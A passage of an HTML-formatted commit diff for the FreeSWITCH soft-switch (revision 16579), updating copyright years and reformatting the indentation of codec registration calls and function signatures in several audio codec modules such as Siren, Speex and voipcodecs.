-                                                                                 ILBC_BLOCK_LEN_30MS,                /* number of samples per frame */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 97,        /* the IANA code number */
+                                                                                 &quot;iLBC&quot;,        /* the IANA code name */
+                                                                                 &quot;mode=30&quot;,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 13300,        /* bits transferred per second */
+                                                                                 30000,        /* number of microseconds per frame */
+                                                                                 ILBC_BLOCK_LEN_30MS,        /* number of samples per frame */
</ins><span class="cx">                                                                                  ILBC_BLOCK_LEN_30MS * 2,        /* number of bytes per frame decompressed */
</span><del>-                                                                                 ILBC_NO_OF_BYTES_30MS,                /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_ilbc_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_ilbc_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_ilbc_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_ilbc_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                                                                                 ILBC_NO_OF_BYTES_30MS,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_ilbc_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_ilbc_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_ilbc_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_ilbc_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_sirenmod_sirenc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -56,7 +56,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec-&gt;memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (codec-&gt;fmtp_in) {
</span><span class="cx">                 int x, argc;
</span><span class="lines">@@ -77,9 +77,9 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec-&gt;fmtp_out = switch_core_sprintf(codec-&gt;memory_pool, &quot;bitrate=%d&quot;, bit_rate);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (encoding) {
</span><span class="cx">                 g722_1_encode_init(&amp;context-&gt;encoder_object, bit_rate, codec-&gt;implementation-&gt;samples_per_second);
</span><span class="cx">         }
</span><span class="lines">@@ -87,7 +87,7 @@
</span><span class="cx">         if (decoding) {
</span><span class="cx">                 g722_1_decode_init(&amp;context-&gt;decoder_object, bit_rate, codec-&gt;implementation-&gt;samples_per_second);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec-&gt;private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -99,11 +99,11 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t switch_siren_encode(switch_codec_t *codec,
</span><del>-                                                                                  switch_codec_t *other_codec,
-                                                                                  void *decoded_data,
-                                                                                  uint32_t decoded_data_len,
-                                                                                  uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
-                                                                                  unsigned int *flag)
</del><ins>+                                                                                   switch_codec_t *other_codec,
+                                                                                   void *decoded_data,
+                                                                                   uint32_t decoded_data_len,
+                                                                                   uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                   unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         struct siren_context *context = codec-&gt;private_info;
</span><span class="cx"> 
</span><span class="lines">@@ -116,14 +116,14 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t switch_siren_decode(switch_codec_t *codec,
</span><del>-                                                                                  switch_codec_t *other_codec,
-                                                                                  void *encoded_data,
-                                                                                  uint32_t encoded_data_len,
-                                                                                  uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
-                                                                                  unsigned int *flag)
</del><ins>+                                                                                   switch_codec_t *other_codec,
+                                                                                   void *encoded_data,
+                                                                                   uint32_t encoded_data_len,
+                                                                                   uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                   unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         struct siren_context *context = codec-&gt;private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!context) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -148,47 +148,43 @@
</span><span class="cx"> 
</span><span class="cx">         spf = 320, bpf = 640;
</span><span class="cx">         for (count = 3; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         107,                                                /* the IANA code number */
-                                                                                         &quot;G7221&quot;,                                        /* the IANA code name */
-                                                                                         &quot;bitrate=32000&quot;,                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                         16000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         0,                                                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_siren_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_siren_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_siren_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_siren_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         107,        /* the IANA code number */
+                                                                                         &quot;G7221&quot;,        /* the IANA code name */
+                                                                                         &quot;bitrate=32000&quot;,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         16000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         0,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_siren_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_siren_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_siren_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_siren_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         spf = 640, bpf = 1280;
</span><span class="cx">         for (count = 3; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         115,                                                /* the IANA code number */
-                                                                                         &quot;G7221&quot;,                                        /* the IANA code name */
-                                                                                         &quot;bitrate=48000&quot;,                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                         32000,                                                /* samples transferred per second */
-                                                                                         32000,                                                /* actual samples transferred per second */
-                                                                                         48000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         0,                                                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_siren_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_siren_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_siren_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_siren_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         115,        /* the IANA code number */
+                                                                                         &quot;G7221&quot;,        /* the IANA code name */
+                                                                                         &quot;bitrate=48000&quot;,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         32000,        /* samples transferred per second */
+                                                                                         32000,        /* actual samples transferred per second */
+                                                                                         48000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         0,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_siren_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_siren_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_siren_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_siren_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_skel_codecmod_skel_codecc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -94,15 +94,14 @@
</span><span class="cx">  * SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
</span><span class="cx">  * SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
</span><span class="cx">  * */
</span><del>-static switch_status_t switch_skel_encode(switch_codec_t *codec,
-                                           switch_codec_t *other_codec, /* codec that was used by the other side */
-                                           void *decoded_data, /* decoded data that we must encode */
-                                           uint32_t decoded_data_len /* decoded data length */,
-                                           uint32_t decoded_rate /* rate of the decoded data */, 
-                                           void *encoded_data, /* here we will store the encoded data */ 
-                                           uint32_t *encoded_data_len, /* here we will set the length of the encoded data */ 
-                                           uint32_t *encoded_rate /* here we will set the rate of the encoded data */,
-                                           unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
</del><ins>+static switch_status_t switch_skel_encode(switch_codec_t *codec, switch_codec_t *other_codec,        /* codec that was used by the other side */
+                                                                                  void *decoded_data,        /* decoded data that we must encode */
+                                                                                  uint32_t decoded_data_len /* decoded data length */ ,
+                                                                                  uint32_t decoded_rate /* rate of the decoded data */ ,
+                                                                                  void *encoded_data,        /* here we will store the encoded data */
+                                                                                  uint32_t *encoded_data_len,        /* here we will set the length of the encoded data */
+                                                                                  uint32_t *encoded_rate /* here we will set the rate of the encoded data */ ,
+                                                                                  unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
</ins><span class="cx"> {
</span><span class="cx">         struct skel_context *context = codec-&gt;private_info;
</span><span class="cx">         /* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
</span><span class="lines">@@ -123,15 +122,15 @@
</span><span class="cx">  * SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
</span><span class="cx">  * SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
</span><span class="cx">  * */
</span><del>-static switch_status_t switch_skel_decode(switch_codec_t *codec, /* codec session handle */
-                                                                                   switch_codec_t *other_codec, /* what is this? */
-                                                                                   void *encoded_data, /* data that we must decode into slinear and put it in decoded_data */
-                                                                                   uint32_t encoded_data_len, /* length in bytes of the encoded data */
-                                                                                   uint32_t encoded_rate,  /* at which rate was the data encoded */
-                                                                                   void *decoded_data,  /* buffer where we must put the decoded data */
-                                                                                   uint32_t *decoded_data_len,  /* we must set this value to the size of the decoded data */
-                                                                                   uint32_t *decoded_rate, /* rate of the decoded data */
-                                                                                   unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
</del><ins>+static switch_status_t switch_skel_decode(switch_codec_t *codec,        /* codec session handle */
+                                                                                  switch_codec_t *other_codec,        /* what is this? */
+                                                                                  void *encoded_data,        /* data that we must decode into slinear and put it in decoded_data */
+                                                                                  uint32_t encoded_data_len,        /* length in bytes of the encoded data */
+                                                                                  uint32_t encoded_rate,        /* at which rate was the data encoded */
+                                                                                  void *decoded_data,        /* buffer where we must put the decoded data */
+                                                                                  uint32_t *decoded_data_len,        /* we must set this value to the size of the decoded data */
+                                                                                  uint32_t *decoded_rate,        /* rate of the decoded data */
+                                                                                  unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
</ins><span class="cx"> {
</span><span class="cx">         struct skel_context *context = codec-&gt;private_info;
</span><span class="cx">         /* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
</span><span class="lines">@@ -150,7 +149,7 @@
</span><span class="cx">          * no need to free memory allocated from the pool though, the owner of the pool takes care of that */
</span><span class="cx">         struct skel_context *context = codec-&gt;private_info;
</span><span class="cx">         context-&gt;encodes = 0;
</span><del>-        context-&gt;decodes = 0; /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
</del><ins>+        context-&gt;decodes = 0;                /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -180,32 +179,31 @@
</span><span class="cx">         /* SWITCH_ADD_CODEC allocates a codec interface structure from the pool the core gave us and adds it to the internal interface list the core keeps, 
</span><span class="cx">          * gets a codec id and set the given codec name to it.
</span><span class="cx">          * At this point there is an empty shell codec interface registered, but not yet implementations */
</span><del>-        SWITCH_ADD_CODEC(codec_interface, &quot;SKEL 8.0k&quot;); /* 8.0kbit */
</del><ins>+        SWITCH_ADD_CODEC(codec_interface, &quot;SKEL 8.0k&quot;);        /* 8.0kbit */
</ins><span class="cx"> 
</span><span class="cx">         /* Now add as many codec implementations as needed, typically this is done inside a for loop where the packetization size is 
</span><span class="cx">          * incremented (10ms, 20ms, 30ms etc) as needed */
</span><del>-        switch_core_codec_add_implementation(pool,
-         codec_interface, /* the codec interface we allocated and we want to register with the core */
-         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-         0,                                    /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
-         &quot;SKEL&quot;,                          /* the IANA code name */
-         NULL,                                /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
-         8000,                                /* samples transferred per second */
-         8000,                                /* actual samples transferred per second */
-         8000,                                /* bits transferred per second */
-         20000,                                /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
-         160,                                /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
-         320,                                /* number of bytes per frame decompressed */
-         320,                                /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
-         1,                                    /* number of channels represented */
-         20,                                /* number of frames per network packet */
-         switch_skel_init,                 /* function to initialize a codec session using this implementation */
-         switch_skel_encode,                /* function to encode slinear data into encoded data */
-         switch_skel_decode,                /* function to decode encoded data into slinear data */
-         switch_skel_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface,        /* the codec interface we allocated and we want to register with the core */
+                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 0,        /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
+                                                                                 &quot;SKEL&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 8000,        /* bits transferred per second */
+                                                                                 20000,        /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
+                                                                                 160,        /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
+                                                                                 320,        /* number of bytes per frame decompressed */
+                                                                                 320,        /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 20,        /* number of frames per network packet */
+                                                                                 switch_skel_init,        /* function to initialize a codec session using this implementation */
+                                                                                 switch_skel_encode,        /* function to encode slinear data into encoded data */
+                                                                                 switch_skel_decode,        /* function to decode encoded data into slinear data */
+                                                                                 switch_skel_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;skel_sayhi&quot;, &quot;Skel Codec Says Hi&quot;, skel_sayhi, NULL);
</span><del>-        switch_console_set_complete(&quot;add skel_sayhi&quot;); /* For CLI completion */
</del><ins>+        switch_console_set_complete(&quot;add skel_sayhi&quot;);        /* For CLI completion */
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_speexmod_speexc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -272,25 +272,23 @@
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;Speex&quot;);
</span><span class="cx">         for (counta = 1; counta &lt;= 3; counta++) {
</span><span class="cx">                 for (countb = 1; countb &gt; 0; countb--) {
</span><del>-                        switch_core_codec_add_implementation(pool,
-                                                                                                 codec_interface,
-                                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                                 ianacode[counta],                        /* the IANA code number */
-                                                                                                 &quot;SPEEX&quot;,                                        /* the IANA code name */
-                                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                                 rate,                                                /* samples transferred per second */
-                                                                                                 rate,                                                /* actual samples transferred per second */
-                                                                                                 bps[counta],                                /* bits transferred per second */
-                                                                                                 mpf * countb,                                /* number of microseconds per frame */
-                                                                                                 spf * countb,                                /* number of samples per frame */
-                                                                                                 bpf * countb,                                /* number of bytes per frame decompressed */
-                                                                                                 0,                                                        /* number of bytes per frame compressed */
-                                                                                                 1,                                                        /* number of channels represented */
-                                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                                 switch_speex_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                                 switch_speex_encode,                /* function to encode raw data into encoded data */
-                                                                                                 switch_speex_decode,                /* function to decode encoded data into raw data */
-                                                                                                 switch_speex_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                                 ianacode[counta],        /* the IANA code number */
+                                                                                                 &quot;SPEEX&quot;,        /* the IANA code name */
+                                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                                 rate,        /* samples transferred per second */
+                                                                                                 rate,        /* actual samples transferred per second */
+                                                                                                 bps[counta],        /* bits transferred per second */
+                                                                                                 mpf * countb,        /* number of microseconds per frame */
+                                                                                                 spf * countb,        /* number of samples per frame */
+                                                                                                 bpf * countb,        /* number of bytes per frame decompressed */
+                                                                                                 0,        /* number of bytes per frame compressed */
+                                                                                                 1,        /* number of channels represented */
+                                                                                                 1,        /* number of frames per network packet */
+                                                                                                 switch_speex_init,        /* function to initialize a codec handle using this implementation */
+                                                                                                 switch_speex_encode,        /* function to encode raw data into encoded data */
+                                                                                                 switch_speex_decode,        /* function to decode encoded data into raw data */
+                                                                                                 switch_speex_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">                 }
</span><span class="cx">                 rate = rate * 2;
</span><span class="cx">                 spf = spf * 2;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_voipcodecsmod_voipcodecsc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -80,9 +80,11 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (context-&gt;encoder_object) lpc10_encode_free(context-&gt;encoder_object);
</del><ins>+        if (context-&gt;encoder_object)
+                lpc10_encode_free(context-&gt;encoder_object);
</ins><span class="cx">         context-&gt;encoder_object = NULL;
</span><del>-        if (context-&gt;decoder_object) lpc10_decode_free(context-&gt;decoder_object);
</del><ins>+        if (context-&gt;decoder_object)
+                lpc10_decode_free(context-&gt;decoder_object);
</ins><span class="cx">         context-&gt;decoder_object = NULL;
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -160,7 +162,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *decoded_data,
</span><span class="cx">                                                                                  uint32_t decoded_data_len,
</span><del>-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         struct gsm_context *context = codec-&gt;private_info;
</span><span class="cx"> 
</span><span class="lines">@@ -177,7 +180,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *encoded_data,
</span><span class="cx">                                                                                  uint32_t encoded_data_len,
</span><del>-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         struct gsm_context *context = codec-&gt;private_info;
</span><span class="cx"> 
</span><span class="lines">@@ -200,9 +204,11 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (context-&gt;decoder_object) gsm0610_free(context-&gt;decoder_object);
</del><ins>+        if (context-&gt;decoder_object)
+                gsm0610_free(context-&gt;decoder_object);
</ins><span class="cx">         context-&gt;decoder_object = NULL;
</span><del>-        if (context-&gt;encoder_object) gsm0610_free(context-&gt;encoder_object);
</del><ins>+        if (context-&gt;encoder_object)
+                gsm0610_free(context-&gt;encoder_object);
</ins><span class="cx">         context-&gt;encoder_object = NULL;
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -433,9 +439,11 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (context-&gt;decoder_object) g722_decode_free(context-&gt;decoder_object);
</del><ins>+        if (context-&gt;decoder_object)
+                g722_decode_free(context-&gt;decoder_object);
</ins><span class="cx">         context-&gt;decoder_object = NULL;
</span><del>-        if (context-&gt;encoder_object) g722_encode_free(context-&gt;encoder_object);
</del><ins>+        if (context-&gt;encoder_object)
+                g722_encode_free(context-&gt;encoder_object);
</ins><span class="cx">         context-&gt;encoder_object = NULL;
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -456,14 +464,14 @@
</span><span class="cx"> 
</span><span class="cx">         if (!(encoding || decoding)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if ((flags &amp; SWITCH_CODEC_FLAG_AAL2 || strstr(codec-&gt;implementation-&gt;iananame, &quot;AAL2&quot;))) {
</span><span class="cx">                 packing = G726_PACKING_LEFT;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         context = g726_init(context, codec-&gt;implementation-&gt;bits_per_second, G726_ENCODING_LINEAR, packing);
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec-&gt;private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="lines">@@ -597,9 +605,11 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (context-&gt;decoder_object) ima_adpcm_free(context-&gt;decoder_object);
</del><ins>+        if (context-&gt;decoder_object)
+                ima_adpcm_free(context-&gt;decoder_object);
</ins><span class="cx">         context-&gt;decoder_object = NULL;
</span><del>-        if (context-&gt;encoder_object) ima_adpcm_free(context-&gt;encoder_object);
</del><ins>+        if (context-&gt;encoder_object)
+                ima_adpcm_free(context-&gt;encoder_object);
</ins><span class="cx">         context-&gt;encoder_object = NULL;
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -620,260 +630,238 @@
</span><span class="cx">         mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;ADPCM (IMA)&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         5,                                                        /* the IANA code number */
-                                                                                         &quot;DVI4&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
